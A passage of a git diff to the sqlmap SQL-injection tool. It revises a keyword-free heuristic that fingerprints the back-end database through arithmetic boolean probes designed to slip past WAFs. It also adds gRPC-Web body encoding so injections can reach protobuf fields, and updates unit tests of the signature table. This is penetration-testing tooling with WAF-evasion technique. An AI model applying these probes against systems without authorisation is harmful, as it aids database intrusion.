keyword-free back-end DBMS heuristic. -# -# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator -# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements -# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry -# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a -# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely). -# -# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean -# (... AND ()), which yields a clean true/false from the comparison oracle. (A value-position -# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on -# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing -# false positives. See PROVE_DESIGN.md.) -# -# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, -# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, -# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() -# (only measured signatures classify; anything else -> None). With anchor value 2: -# -# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) -# vs no such operator (SQLite/Oracle/... -> error, so false) -# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects -# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: -# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB -# also use it (neither on the platform), so this can read as PostgreSQL there. -# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5) -# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) -# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True) -# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while -# SQL Server has NO shift operator (any version) -> this probe splits that one collision. +# Operator/typing-dialect probes for a WAF-tolerant back-end DBMS heuristic, complementing +# heuristicCheckDbms() for when a WAF/IPS drops its SELECT/quote payloads. Each probe is fed to +# checkBooleanExpression() (appended as ... AND ()); all but catplus use only non-alphanumeric +# operators (WAF-friendly). Minimal set giving a collision-free signature to the classes below. DIALECT_PROBES = ( - ("xor", "2^0=2"), - ("pgpow", "2^3=8"), - ("intdiv", "5/2=2"), - ("bitor", "2|0=2"), - ("shift", "1<<2=4"), + ("pow", "2^3=8"), # '^' is exponentiation + ("intdiv", "5/2=2"), # integer division + ("mod", "5%2=1"), # '%' modulo operator + ("bitor", "2|0=2"), # '|' bitwise-OR operator + ("xeq", "1^=2"), # '^=' not-equal operator + ("bslash", "5\\2=2"), # '\' integer division + ("catplus", "%sa%s+%sb%s=%sab%s" % ((SINGLE_QUOTE_MARKER,) * 6)), # '+' concatenates strings + ("numcat", "1||1=11"), # '||' concatenates with numeric coercion ) -# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that -# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, -# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the -# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle -# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a -# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator -# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +# Trust gate: a syntactically-invalid trailing-operator expression a real back-end can only read as +# FALSE. A noise/false-positive channel reads it TRUE, proving the oracle is untrustworthy -> None. DIALECT_CANARY = "2+" -# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live -# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a -# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition -# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the -# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +# Reachability canaries for adversarial WAFs that selectively drop operator characters. A dropped probe +# reads FALSE, indistinguishable from a semantic FALSE, silently degrading the signature. Each canary +# embeds probe characters inside a string literal (semantically inert), so it is universally TRUE unless +# the WAF filters a character. The combined form is a fast path; on failure the per-char forms (via +# _reachCanary) locate the blocked bits, which _classify() then treats as unknown/wildcard. +_DIALECT_REACH_CHARS = (("^", (0, 4)), ("/", (1,)), ("%", (2,)), ("|", (3, 7)), ("\\", (5,)), ("+", (6,))) +_DIALECT_REACH_BODY = "a^b/c%d|e\\f+g" +DIALECT_REACH_CANARY = "%s%s%s=%s%s%s" % (SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER, SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER) + +# Exact operator-dialect signature -> back-end DBMS (strict whitelist). Any signature not listed - an +# unmeasured engine/version or a noise channel - returns None, so the heuristic never wrong-foots a scan. +# All rows are live-measured except Spanner (documentation-derived, tagged inline). _SIGNATURE_DBMS = { - # xor pgpow intdiv bitor shift - (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB - (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL - (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) - (False, True, True, True, False): DBMS.PGSQL, # CrateDB - (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) - (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') - (False, False, True, True, True): DBMS.SQLITE, # SQLite + # pow intdiv mod bitor xeq bslash catplus numcat + (False, False, False, False, False, False, False, True): DBMS.INFORMIX, # Informix + (False, False, False, False, False, True, False, True): DBMS.CACHE, # InterSystems IRIS/Cache ('\' int-div) + (False, False, False, False, True, False, False, True): DBMS.ORACLE, # Oracle ('^=' not-equal) + (False, False, False, True, False, False, False, False): DBMS.SPANNER, # Google Cloud Spanner (only '|' works) - doc-derived, not live-tested + (False, False, True, False, False, False, False, True): DBMS.CLICKHOUSE, # ClickHouse (no bitwise-OR) + (False, False, True, True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, False, False, False, False, False, False): DBMS.DERBY, # Apache Derby + (False, True, False, False, False, False, True, False): DBMS.HSQLDB, # HSQLDB ('+' concat) + (False, True, False, False, True, False, False, True): DBMS.FIREBIRD, # Firebird ('^=') + (False, True, True, False, False, False, False, False): DBMS.PRESTO, # Presto / Trino + (False, True, True, False, False, False, False, True): DBMS.H2, # H2 + (False, True, True, True, False, False, False, False): DBMS.SQLITE, # SQLite + (False, True, True, True, False, False, False, True): DBMS.MONETDB, # MonetDB + (False, True, True, True, False, False, True, False): DBMS.MSSQL, # Microsoft SQL Server (2019 AND 2022) + (False, True, True, True, False, False, True, True): DBMS.CUBRID, # CUBRID (like MonetDB but '+' concat) + (False, True, True, True, True, False, False, True): DBMS.DB2, # IBM DB2 ('^=', no '<<'/'\') + (True, False, False, False, False, True, True, False): DBMS.ACCESS, # Microsoft Access (ACE/JET: '^' exp + '\' int-div + '+' concat) + (True, False, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL + (True, False, True, True, False, False, False, True): DBMS.VERTICA, # Vertica (pg-derived but numeric '||') + (True, False, True, True, True, False, False, True): DBMS.PGSQL, # openGauss (Oracle-compat '^=') + (True, True, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL / CrateDB variant + (True, True, True, True, False, False, False, True): DBMS.PGSQL, # PostgreSQL variant } -def _classify(signature): +def _classify(signature, unknown=()): """ - Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS - through a strict whitelist of live-measured signatures, or returns None when the signature is not - a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so - detection proceeds unchanged and the heuristic never wrong-foots the scan. + Maps an exact 8-bit operator/typing signature to a back-end DBMS via the strict whitelist, or None + when the signature is not a known fingerprint (unmeasured engine, or a noise/false-positive channel). + + 'unknown' holds bit indices whose probe character a WAF is dropping (so their FALSE is meaningless); + they are treated as wildcards and a DBMS is named only when the remaining trusted bits are unanimous, + which cannot misclassify (the true signature is always among the candidates). - >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + >>> _classify((False, False, True, True, False, False, True, True), unknown={2}) # MySQL, mod blocked -> still unique 'MySQL' - >>> _classify((False, True, True, True, True)) # PostgreSQL - 'PostgreSQL' - >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family - 'PostgreSQL' - >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family - 'PostgreSQL' - >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + >>> _classify((False, True, True, False, False, False, False, True), unknown={7}) is None # H2 vs Presto ambiguous -> None + True + >>> _classify((False, False, True, True, False, False, True, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((False, True, True, True, False, False, True, False)) # Microsoft SQL Server (2019 and 2022) 'Microsoft SQL Server' - >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') + >>> _classify((False, True, True, True, False, False, False, True)) # MonetDB 'MonetDB' - >>> _classify((False, False, True, True, True)) # SQLite + >>> _classify((True, True, True, True, False, False, False, False)) # PostgreSQL / CrateDB + 'PostgreSQL' + >>> _classify((False, True, True, True, False, False, False, False)) # SQLite 'SQLite' - >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None - True - >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None - True - >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive + >>> _classify((False, False, True, False, False, False, False, True)) # ClickHouse + 'ClickHouse' + >>> _classify((False, False, False, False, True, False, False, True)) # Oracle ('^=') + 'Oracle' + >>> _classify((False, False, False, False, False, True, False, True)) # InterSystems IRIS/Cache (Oracle but no '^=') + 'InterSystems Cache' + >>> _classify((False, True, False, False, True, False, False, True)) # Firebird + 'Firebird' + >>> _classify((False, True, False, False, False, False, False, False)) # Apache Derby + 'Apache Derby' + >>> _classify((True, False, False, False, False, True, True, False)) # Microsoft Access ('^' exp + '\' int-div) + 'Microsoft Access' + >>> _classify((False, False, False, True, False, False, False, False)) # Google Cloud Spanner (doc-derived: only '|' bitwise-OR) + 'Spanner' + >>> _classify((True, True, True, True, True, True, True, True)) is None # unmeasured / noise -> None True """ - return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) + signature = tuple(bool(_) for _ in signature) + + if not unknown: + return _SIGNATURE_DBMS.get(signature) + + unknown = set(unknown) + candidates = set(dbms for sig, dbms in _SIGNATURE_DBMS.items() if all(sig[i] == signature[i] for i in range(len(signature)) if i not in unknown)) + + return next(iter(candidates)) if len(candidates) == 1 else None + +def _reachCanary(char): + lit = "%sx%sx%s" % (SINGLE_QUOTE_MARKER, char, SINGLE_QUOTE_MARKER) + return "%s=%s" % (lit, lit) def dialectCheckDbms(injection): """ - Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the - given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the - WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe - here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, - WAF-blocked or false-positive channel yields None, leaving the scan unchanged. + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given + (boolean-capable) injection. Complements heuristicCheckDbms() (whose SELECT/quote payloads a WAF/IPS + may drop). Returns the DBMS name, or None for an ambiguous, WAF-blocked or false-positive channel. """ retVal = None @@ -126,14 +143,19 @@ def dialectCheckDbms(injection): kb.injection = injection try: - # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, - # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query - # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which - # is proof the oracle is trash, so classification is skipped (a true negative) instead of - # emitting a bogus DBMS from a meaningless signature. + # trust gate: a real oracle reads the tautology TRUE, the contradiction FALSE, the invalid + # canary FALSE. A noise channel reads them alike (canary TRUE) -> skip rather than guess. if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) - retVal = _classify(signature) + + # detect WAF-dropped probe characters (a dropped probe reads FALSE); mark their bits unknown + unknown = set() + if not checkBooleanExpression(DIALECT_REACH_CANARY): + for char, bits in _DIALECT_REACH_CHARS: + if not checkBooleanExpression(_reachCanary(char)): + unknown.update(bits) + + retVal = _classify(signature, unknown) finally: kb.injection = popValue() diff --git a/lib/utils/grpcweb.py b/lib/utils/grpcweb.py new file mode 100644 index 00000000000..f1a319c18b0 --- /dev/null +++ b/lib/utils/grpcweb.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import re +import struct + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves.urllib.parse import unquote + +# gRPC-Web body support (grpc-web-text / base64, unary only). A gRPC-Web message is a length-prefixed +# protobuf frame; grpc-web-text is that frame base64-encoded. Because protobuf is length-prefixed and +# sqlmap injects by appending, the body is decoded to a JSON view of its (heuristically-detected) string +# fields so the existing JSON injection engine handles marking/placement, then re-encoded with corrected +# length prefixes at send time (see connect.py). NOT supported (deliberately not detected, never +# corrupted): binary application/grpc-web+proto, compression (grpc-encoding), and streaming. + +CONTENT_TYPE = "application/grpc-web-text" +CONTENT_TYPE_PROTO = "application/grpc-web-text+proto" # equivalent spelling (message format hint) +_MAX_VARINT_BYTES = 10 # a 64-bit varint is at most 10 bytes +_MAX_FIELD_NUMBER = 0x1fffffff # protobuf maximum field number (2**29 - 1) +_BASE64_QUANTUM_REGEX = re.compile(r"\A(?:[A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)\Z") + +def _b64decode(text): + # strict, py2/py3-safe (no 'validate=' kwarg): reject whitespace/invalid chars, but decode per 4-char + # quantum so INDEPENDENTLY-padded base64 chunks (allowed even for a unary text response) reconstruct + # correctly - a mid-stream padded quantum is fine, arbitrary mid-stream padding chars are not + if isinstance(text, bytes): + text = text.decode("ascii") + if len(text) % 4 != 0: + raise ValueError("invalid base64 length") + out = bytearray() + for offset in range(0, len(text), 4): + quantum = text[offset:offset + 4] + if not _BASE64_QUANTUM_REGEX.match(quantum): + raise ValueError("invalid base64") + out += base64.b64decode(quantum) + return bytes(out) + +def _readVarint(buf, pos): + shift = result = 0 + start = pos + while True: + if pos >= len(buf): + raise ValueError("truncated varint") + b = buf[pos] if isinstance(buf[pos], int) else ord(buf[pos]) + pos += 1 + result |= (b & 0x7f) << shift + if not (b & 0x80): + if result >= (1 << 64): + raise ValueError("varint exceeds 64 bits") + return result, pos + shift += 7 + if pos - start >= _MAX_VARINT_BYTES: + raise ValueError("overlong varint") + +def _writeVarint(n): + out = bytearray() + while True: + b = n & 0x7f + n >>= 7 + out.append(b | 0x80 if n else b) + if not n: + return bytes(out) + +def _readExact(buf, pos, length): + end = pos + length + if length < 0 or end > len(buf): + raise ValueError("truncated protobuf field") + return buf[pos:end], end + +def _decode(buf): + buf = bytes(buf) + pos = 0 + out = [] + while pos < len(buf): + tag, pos = _readVarint(buf, pos) + fn, wt = tag >> 3, tag & 7 + if fn == 0 or fn > _MAX_FIELD_NUMBER: + raise ValueError("invalid field number %d" % fn) + if wt == 0: + val, pos = _readVarint(buf, pos) + elif wt == 1: + val, pos = _readExact(buf, pos, 8) + elif wt == 2: + ln, pos = _readVarint(buf, pos) + val, pos = _readExact(buf, pos, ln) + elif wt == 5: + val, pos = _readExact(buf, pos, 4) + else: + raise ValueError("unsupported wire type %d" % wt) + out.append([fn, wt, val]) + return out + +def _encode(fields): + out = bytearray() + for fn, wt, val in fields: + out += _writeVarint((fn << 3) | wt) + if wt == 0: + out += _writeVarint(val) + elif wt == 2: + val = val if isinstance(val, bytes) else bytes(val) + out += _writeVarint(len(val)) + val + else: + out += val if isinstance(val, bytes) else bytes(val) + return bytes(out) + +def _frame(msg): + return b"\x00" + struct.pack(">I", len(msg)) + msg + +def _unframe(data): + # strict: exactly one uncompressed data frame (flag 0x00), nothing trailing (unary; no + # compression/streaming/reserved flag bits) + if len(data) < 5: + raise ValueError("truncated gRPC-Web frame") + flag = data[0] if isinstance(data[0], int) else ord(data[0]) + if flag != 0x00: + raise ValueError("unsupported request frame flags 0x%02x" % flag) + length = struct.unpack(">I", data[1:5])[0] + if len(data) != 5 + length: + raise ValueError("incomplete/oversized gRPC-Web frame") + return data[5:5 + length] + +def _isTextContentType(value): + return (value or "").split(";", 1)[0].strip().lower() in (CONTENT_TYPE, CONTENT_TYPE_PROTO) + +def acceptsTextContentType(value): + # True if a (possibly comma-separated) Accept header already negotiates a grpc-web-text response + return any(_isTextContentType(_) for _ in (value or "").split(",")) + +def _stringFields(fields): + # Descriptorless: wire type 2 is string / bytes / embedded-message / packed - indistinguishable + # without the .proto. Offer every printable-UTF-8 length-delimited field as a candidate; do NOT try + # to exclude values that merely also parse as protobuf (ordinary strings like "A12345678"/"M1234" do, + # so excluding them silently drops real injection points). Non-selected fields stay in the skeleton + # untouched, so a mis-picked embedded message just fails to inject and is skipped - the safe failure. + retVal = [] + for index, (fn, wt, val) in enumerate(fields): + if wt != 2: + continue + try: + value = bytes(val).decode("utf-8") + except Exception: + continue + if all(char in "\t\n" or ord(char) > 31 for char in value): + retVal.append((index, fn, value)) + return retVal + +def _requestContentType(): + for header, value in (conf.httpHeaders or []): + if header.lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return value + return "" + +def _headerValue(headers, key): + if not headers: + return None + key = key.lower() + try: + items = headers.items() + except AttributeError: + items = headers + for header, value in items: + if header.lower() == key: + return value + return None + +def decodeBody(data): + """ + Probe 'data' for a gRPC-Web (grpc-web-text) body WITHOUT any side effects. Returns a + (jsonView, skeleton) tuple - the JSON string of injectable string fields plus the message skeleton + to re-encode with - or (None, None). The caller commits the skeleton to kb.grpcWeb only on acceptance. + """ + + if not _isTextContentType(_requestContentType()): + return None, None + + try: + fields = _decode(_unframe(_b64decode(data))) + except Exception: + return None, None + + strings = _stringFields(fields) + if not strings: + return None, None + + counts = {} + for _, fn, _value in strings: + counts[fn] = counts.get(fn, 0) + 1 + + occurrence = {} + mapping = {} + view = {} + for index, fn, value in strings: + if counts[fn] == 1: + key = "f%d" % fn + else: + key = "f%d_%d" % (fn, occurrence.get(fn, 0)) + occurrence[fn] = occurrence.get(fn, 0) + 1 + mapping[key] = index + view[key] = value + + skeleton = {"fields": [list(_) for _ in fields], "map": mapping} + + return json.dumps(view), skeleton + +def encodeBody(jsonBody): + """ + Inverse of decodeBody(): overlay the (possibly injected) JSON string values onto the skeleton and + re-encode a grpc-web-text (base64) body, recomputing the length prefixes. Called at send time. + + Only a body whose keys are EXACTLY the gRPC surrogate keys is transformed - so unrelated JSON bodies + on the shared request path (CSRF/second-order/redirect/safe requests) pass through untouched. + """ + + if not kb.grpcWeb: + return jsonBody + + try: + parsed = json.loads(jsonBody) + except Exception: + return jsonBody + + if not isinstance(parsed, dict) or set(parsed) != set(kb.grpcWeb["map"]): + return jsonBody + + fields = [list(_) for _ in kb.grpcWeb["fields"]] + + for key, index in kb.grpcWeb["map"].items(): + value = parsed[key] + fields[index][2] = (value if hasattr(value, "encode") else str(value)).encode("utf-8") + + return base64.b64encode(_frame(_encode(fields))).decode("ascii") + +def decodeResponse(page, responseHeaders=None): + """ + Render a gRPC-Web response as readable text (message-frame fields + the trailer frame's + grpc-status/grpc-message = the back-end error) so the oracle/error-regex/in-band paths see content, + not an opaque blob. Handles trailers-only errors (status/message in response headers, empty body). + Unary only: at most one data frame, an optional final trailer, exact frame flags. Only a + grpc-web-text response body is decoded; anything else is left unchanged. + """ + + if not kb.grpcWeb: + return page + + out = [] + + status = _headerValue(responseHeaders, "grpc-status") + if status is not None: + out.append("grpc-status:%s" % status) + message = _headerValue(responseHeaders, "grpc-message") + if message: + out.append("grpc-message:%s" % unquote(message)) + + if page and _isTextContentType(_headerValue(responseHeaders, HTTP_HEADER.CONTENT_TYPE)): + try: + raw = _b64decode(page) + bodyOut = [] # separate so a mid-parse failure never leaks partial frame renders + pos = 0 + dataFrames = 0 + seenTrailer = False + while pos + 5 <= len(raw): + flag = raw[pos] if isinstance(raw[pos], int) else ord(raw[pos]) + length = struct.unpack(">I", raw[pos + 1:pos + 5])[0] + payload, pos = _readExact(raw, pos + 5, length) + if seenTrailer: + raise ValueError("frame after trailer") + if flag == 0x00: # data frame + dataFrames += 1 + if dataFrames > 1: + raise ValueError("streaming response not supported") + for _fn, wt, val in _decode(payload): + bodyOut.append(bytes(val).decode("utf-8", "replace") if wt == 2 else str(val)) + elif flag == 0x80: # trailer frame (grpc-status / grpc-message), must be last + seenTrailer = True + bodyOut.append(unquote(payload.decode("latin-1"))) + else: + raise ValueError("unsupported response frame flags 0x%02x" % flag) + if pos != len(raw): + raise ValueError("trailing bytes after final frame") + out.extend(bodyOut) # commit body renders only on a fully-valid parse + except Exception: + # keep status/message recovered from HEADERS (discard any partial body); append the raw page + out.append(page) + return "\n".join(out) + elif page: + out.append(page) # unsupported/absent response Content-Type: leave the body for the oracle + + return "\n".join(out) if out else page diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 040d80b1a6e..26520ca74a2 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -4,13 +4,9 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: -the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live -SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the -expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an -unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to -None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing -these signatures through a real boolean injection) is exercised against the live platform, not here. +Operator/typing-dialect DBMS heuristic (lib/utils/dialect.py). Locks in the empirical 8-probe truth +table: each measured signature maps to its expected back-end DBMS, and every other signature (unmeasured +engine, ambiguous, or noise) maps to None so the heuristic never wrong-foots detection. """ import os @@ -25,119 +21,186 @@ from lib.core.data import kb from lib.core.enums import DBMS from lib.utils.dialect import _classify +from lib.utils.dialect import _reachCanary from lib.utils.dialect import dialectCheckDbms from lib.utils.dialect import DIALECT_CANARY +from lib.utils.dialect import DIALECT_PROBES +from lib.utils.dialect import DIALECT_REACH_CANARY +from lib.utils.dialect import _DIALECT_REACH_CHARS -# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. -# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so -# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. +# Full 8-probe signature (pow, intdiv, mod, bitor, xeq, bslash, catplus, numcat) measured live -> DBMS. +# Every bit is significant (strict whitelist); a one-bit-off variant is simply not a known fingerprint. MEASURED = { - "mysql": ((True, False, False, True, True), DBMS.MYSQL), - "mysql5": ((True, False, False, True, True), DBMS.MYSQL), - "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible - "postgres": ((False, True, True, True, True), DBMS.PGSQL), - "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') - "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') - "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift - "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' - "sqlite": ((False, False, True, True, True), DBMS.SQLITE), - # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) - "firebird": ((False, False, True, False, False), None), - "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino - "derby": ((False, False, True, False, False), None), - "h2": ((False, False, True, False, False), None), - "trino": ((False, False, True, False, False), None), - "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel - "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "mysql": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "mysql5": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "tidb": (False, False, True , True , False, False, True , True , DBMS.MYSQL), # MySQL wire-compatible + "postgres": (True , True , True , True , False, False, False, False, DBMS.PGSQL), + "opengauss": (True , False, True , True , True , False, False, True , DBMS.PGSQL), # Oracle-compat '^=' + "cockroach": (True , False, True , True , False, False, False, False, DBMS.PGSQL), # decimal division + "cratedb": (True , True , True , True , False, False, False, True , DBMS.PGSQL), + "mssql2019": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # no '<<' + "mssql2022": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # gained '<<' but shift is not a probe -> same signature + "sqlite": (False, True , True , True , False, False, False, False, DBMS.SQLITE), + "clickhouse":(False, False, True , False, False, False, False, True , DBMS.CLICKHOUSE),# no bitwise-OR + "monetdb": (False, True , True , True , False, False, False, True , DBMS.MONETDB), # like MSSQL but no '+' concat + "firebird": (False, True , False, False, True , False, False, True , DBMS.FIREBIRD), # has '^=' + "h2": (False, True , True , False, False, False, False, True , DBMS.H2), + "hsqldb": (False, True , False, False, False, False, True , False, DBMS.HSQLDB), # '+' concat + "derby": (False, True , False, False, False, False, False, False, DBMS.DERBY), + "iris": (False, False, False, False, False, True , False, True , DBMS.CACHE), # '\' int-div (Oracle-like but no '^=') + "trino": (False, True , True , False, False, False, False, False, DBMS.PRESTO), + "oracle": (False, False, False, False, True , False, False, True , DBMS.ORACLE), # '^=' not-equal + "informix": (False, False, False, False, False, False, False, True , DBMS.INFORMIX), + "cubrid": (False, True , True , True , False, False, True , True , DBMS.CUBRID), # like MonetDB but '+' concat + "db2": (False, True , True , True , True , False, False, True , DBMS.DB2), # '^=', no '<<'/'\' + "vertica": (True , False, True , True , False, False, False, True , DBMS.VERTICA), # pg-derived but numeric '||' + "access": (True , False, False, False, False, True , True , False, DBMS.ACCESS), # ACE/JET: '^' exp + '\' int-div + '+' concat, no '%'/'|'/'||' } +# Documentation-derived (vendor operator spec, not live-tested); only where the signature is a free slot. +DOCUMENTED = { + "spanner": (False, False, False, True , False, False, False, False, DBMS.SPANNER), +} + +_PROBE_COUNT = len(DIALECT_PROBES) +_ALL = dict(MEASURED); _ALL.update(DOCUMENTED) + + +def _sig(engine): + return _ALL[engine][:_PROBE_COUNT] + class TestDialectClassification(unittest.TestCase): - def test_measured_engines_map_as_expected(self): - # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) - for engine, (signature, expected) in MEASURED.items(): - self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + def test_probe_count_matches_signature_width(self): + # the MEASURED rows and the doctested matrix must stay the same width as DIALECT_PROBES + self.assertEqual(_PROBE_COUNT, 8) - def test_shift_splits_monetdb_from_mssql(self): - # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); - # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. - self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) - self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 8-probe signature maps to its expected DBMS + for engine, row in MEASURED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_documented_engines_map_as_expected(self): + # doc-derived rows (not live-tested) still resolve to their expected DBMS via the whitelist + for engine, row in DOCUMENTED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_mssql_version_agnostic(self): + # SQL Server 2022 gained '<<' but 'shift' is deliberately NOT a probe (it collided MSSQL 2022 + # with MonetDB); both versions share one signature and '+' concat separates MSSQL from MonetDB. + self.assertEqual(_classify(_sig("mssql2019")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("mssql2022")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("monetdb")), DBMS.MONETDB) + + def test_oracle_iris_split_by_operators(self): + # Oracle and IRIS are near-identical; '^=' (Oracle) vs '\' int-div (IRIS) split them. + self.assertEqual(_classify(_sig("oracle")), DBMS.ORACLE) + self.assertEqual(_classify(_sig("iris")), DBMS.CACHE) + + def test_previously_colliding_engines_now_split(self): + # the 4 late-measured engines collided on smaller probe sets; the 8-probe matrix separates them + # (Informix != IRIS, CUBRID != MonetDB, Vertica != PostgreSQL, DB2 != all-true noise). + self.assertEqual(_classify(_sig("informix")), DBMS.INFORMIX) + self.assertEqual(_classify(_sig("cubrid")), DBMS.CUBRID) + self.assertEqual(_classify(_sig("vertica")), DBMS.VERTICA) + self.assertEqual(_classify(_sig("db2")), DBMS.DB2) def test_whitelist_is_exact_no_false_positive(self): - # only the measured classifying signatures may yield a DBMS; everything else -> None. - classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) - produced = set(exp for _, exp in MEASURED.values() if exp is not None) - self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) - # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one - for bits in range(32): - sig = tuple(bool(bits & (1 << 